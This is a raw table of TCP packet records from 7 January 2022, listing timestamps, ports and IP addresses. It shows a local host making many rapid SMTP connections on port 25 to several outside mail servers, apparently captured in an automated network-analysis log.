Jan 7, 2022 15:56:09.340080023 CET	49786	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:09.510373116 CET	25	49786	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:09.510500908 CET	49786	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:09.570960045 CET	25	49786	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:09.570993900 CET	25	49786	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:09.571995020 CET	49786	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:09.679083109 CET	25	49786	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:09.731194019 CET	25	49786	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:09.731398106 CET	49786	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:09.795439005 CET	25	49786	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:09.801786900 CET	25	49786	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:09.801933050 CET	49786	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:09.801959991 CET	49786	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:09.862610102 CET	25	49786	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:09.862643003 CET	25	49786	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:09.862775087 CET	49786	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:09.865773916 CET	49786	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:10.534723043 CET	49787	25	192.168.2.4	74.208.5.20
Jan 7, 2022 15:56:10.667768002 CET	25	49787	74.208.5.20	192.168.2.4
Jan 7, 2022 15:56:10.667870998 CET	49787	25	192.168.2.4	74.208.5.20
Jan 7, 2022 15:56:10.802203894 CET	25	49787	74.208.5.20	192.168.2.4
Jan 7, 2022 15:56:10.802231073 CET	25	49787	74.208.5.20	192.168.2.4
Jan 7, 2022 15:56:10.802299023 CET	49787	25	192.168.2.4	74.208.5.20
Jan 7, 2022 15:56:10.802326918 CET	49787	25	192.168.2.4	74.208.5.20
Jan 7, 2022 15:56:10.802676916 CET	49788	25	192.168.2.4	74.208.5.22
Jan 7, 2022 15:56:10.935399055 CET	25	49787	74.208.5.20	192.168.2.4
Jan 7, 2022 15:56:10.947943926 CET	25	49788	74.208.5.22	192.168.2.4
Jan 7, 2022 15:56:10.949942112 CET	49788	25	192.168.2.4	74.208.5.22
Jan 7, 2022 15:56:11.095284939 CET	49782	25	192.168.2.4	193.239.71.112
Jan 7, 2022 15:56:11.098135948 CET	25	49788	74.208.5.22	192.168.2.4
Jan 7, 2022 15:56:11.098164082 CET	25	49788	74.208.5.22	192.168.2.4
Jan 7, 2022 15:56:11.098263979 CET	49788	25	192.168.2.4	74.208.5.22
Jan 7, 2022 15:56:11.098392010 CET	49788	25	192.168.2.4	74.208.5.22
Jan 7, 2022 15:56:11.128319025 CET	25	49785	91.136.8.47	192.168.2.4
Jan 7, 2022 15:56:11.129966974 CET	49785	25	192.168.2.4	91.136.8.47
Jan 7, 2022 15:56:11.170558929 CET	25	49785	91.136.8.47	192.168.2.4
Jan 7, 2022 15:56:11.179435015 CET	25	49785	91.136.8.47	192.168.2.4
Jan 7, 2022 15:56:11.179629087 CET	49785	25	192.168.2.4	91.136.8.47
Jan 7, 2022 15:56:11.220194101 CET	25	49785	91.136.8.47	192.168.2.4
Jan 7, 2022 15:56:11.243537903 CET	25	49788	74.208.5.22	192.168.2.4
Jan 7, 2022 15:56:11.598125935 CET	25	49785	91.136.8.47	192.168.2.4
Jan 7, 2022 15:56:11.601995945 CET	49785	25	192.168.2.4	91.136.8.47
Jan 7, 2022 15:56:11.643821955 CET	25	49785	91.136.8.47	192.168.2.4
Jan 7, 2022 15:56:11.656663895 CET	49789	25	192.168.2.4	213.186.119.6
Jan 7, 2022 15:56:11.715307951 CET	25	49789	213.186.119.6	192.168.2.4
Jan 7, 2022 15:56:11.715435982 CET	49789	25	192.168.2.4	213.186.119.6
Jan 7, 2022 15:56:11.734155893 CET	25	49785	91.136.8.47	192.168.2.4
Jan 7, 2022 15:56:11.734270096 CET	49785	25	192.168.2.4	91.136.8.47
Jan 7, 2022 15:56:11.734303951 CET	49785	25	192.168.2.4	91.136.8.47
Jan 7, 2022 15:56:11.775403976 CET	25	49785	91.136.8.47	192.168.2.4
Jan 7, 2022 15:56:11.775429010 CET	25	49785	91.136.8.47	192.168.2.4
Jan 7, 2022 15:56:11.775729895 CET	25	49785	91.136.8.47	192.168.2.4
Jan 7, 2022 15:56:11.775747061 CET	25	49785	91.136.8.47	192.168.2.4
Jan 7, 2022 15:56:11.775820971 CET	49785	25	192.168.2.4	91.136.8.47
Jan 7, 2022 15:56:11.775877953 CET	49785	25	192.168.2.4	91.136.8.47
Jan 7, 2022 15:56:15.297862053 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.350270033 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.350378036 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.406199932 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.406353951 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.462321043 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.463574886 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.463849068 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.516526937 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.516974926 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.574228048 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.737498999 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.737616062 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.792222977 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.792723894 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.793127060 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.793803930 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.846292973 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.846323013 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.846333981 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.846348047 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.846385956 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.846414089 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.846463919 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.846488953 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.851836920 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.851918936 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.899218082 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.899244070 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.899290085 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.899322987 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.899494886 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.899507046 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.899514914 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.899525881 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.899533987 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.899544001 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.899549961 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.899550915 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.899561882 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.899569988 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.899574041 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.899576902 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.899629116 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.899662018 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.899677038 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.904247999 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.904263020 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.904331923 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.904356956 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.916364908 CET	49791	25	192.168.2.4	194.152.32.74
Jan 7, 2022 15:56:15.954087019 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.954114914 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.954135895 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.954155922 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.954169035 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.954176903 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.954195976 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.954196930 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.954207897 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.954227924 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.954229116 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.954246044 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.954260111 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.954272985 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.954281092 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.954292059 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.954301119 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.954325914 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.954411983 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.954619884 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.954636097 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.954649925 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.954664946 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.954684019 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.954708099 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.954722881 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.954727888 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.954741955 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.954781055 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.954793930 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.954796076 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.954812050 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.954827070 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.954839945 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.954840899 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.954857111 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.954863071 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.954883099 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.954907894 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.955037117 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.955050945 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.955065012 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.955080986 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.955085993 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.955095053 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.955113888 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.955116987 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.955133915 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.955133915 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.955152988 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.955162048 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.955173016 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.955178022 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.955193043 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.955210924 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.955214024 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.955270052 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.958852053 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.958873987 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.958884001 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.958894014 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:15.958987951 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:15.960470915 CET	25	49791	194.152.32.74	192.168.2.4
Jan 7, 2022 15:56:15.960557938 CET	49791	25	192.168.2.4	194.152.32.74
Jan 7, 2022 15:56:16.005867004 CET	25	49791	194.152.32.74	192.168.2.4
Jan 7, 2022 15:56:16.005987883 CET	49791	25	192.168.2.4	194.152.32.74
Jan 7, 2022 15:56:16.009036064 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009051085 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009058952 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009069920 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009078026 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009088039 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009094954 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009105921 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009116888 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009128094 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009139061 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009150028 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009155035 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.009160042 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009170055 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009181976 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009192944 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009203911 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009215117 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009226084 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009237051 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009269953 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.009310961 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.009327888 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.009753942 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009766102 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009808064 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009819031 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009826899 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.009845018 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009855986 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009866953 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009874105 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.009876966 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009887934 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009901047 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009902000 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.009912968 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009922981 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.009938002 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.009980917 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.011476994 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.011509895 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.011590004 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.012269020 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.012406111 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.012433052 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.012456894 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.012486935 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.012619019 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.012666941 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.013283968 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.013302088 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.013313055 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.013324976 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.013334990 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.013346910 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.013348103 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.013359070 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.013369083 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.013389111 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.013401031 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.013416052 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.013859987 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.013870955 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.013881922 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.013901949 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.013912916 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.013925076 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.013931990 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.013935089 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.013946056 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.013962984 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.013997078 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.014309883 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.014321089 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.014332056 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.014343977 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.014352083 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.014353991 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.014364958 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.014374971 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.014384985 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.014389038 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.014395952 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.014405966 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.014417887 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.014421940 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.014429092 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.014439106 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.014451027 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.014461040 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.014461994 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.014472008 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.014487028 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.014497995 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.014509916 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.015119076 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.015130997 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.015141964 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.015170097 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.015177011 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.015188932 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.015199900 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.015203953 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.015211105 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.015218973 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.015221119 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.015258074 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.015274048 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.049446106 CET	25	49791	194.152.32.74	192.168.2.4
Jan 7, 2022 15:56:16.049563885 CET	25	49791	194.152.32.74	192.168.2.4
Jan 7, 2022 15:56:16.049652100 CET	49791	25	192.168.2.4	194.152.32.74
Jan 7, 2022 15:56:16.062082052 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062128067 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062155962 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062181950 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062187910 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062206984 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062225103 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062233925 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062239885 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062259912 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062262058 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062278986 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062297106 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062300920 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062330961 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062341928 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062356949 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062374115 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062383890 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062400103 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062414885 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062432051 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062438011 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062453032 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062463045 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062477112 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062489033 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062505007 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062511921 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062529087 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062537909 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062553883 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062562943 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062577963 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062589884 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062617064 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062618017 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062633038 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062640905 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062658072 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062665939 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062680006 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062690973 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062705994 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062715054 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062731981 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062740088 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062757969 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062766075 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062786102 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062792063 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062815905 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062819004 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062834978 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062843084 CET	25	49790	142.250.150.26	192.168.2.4
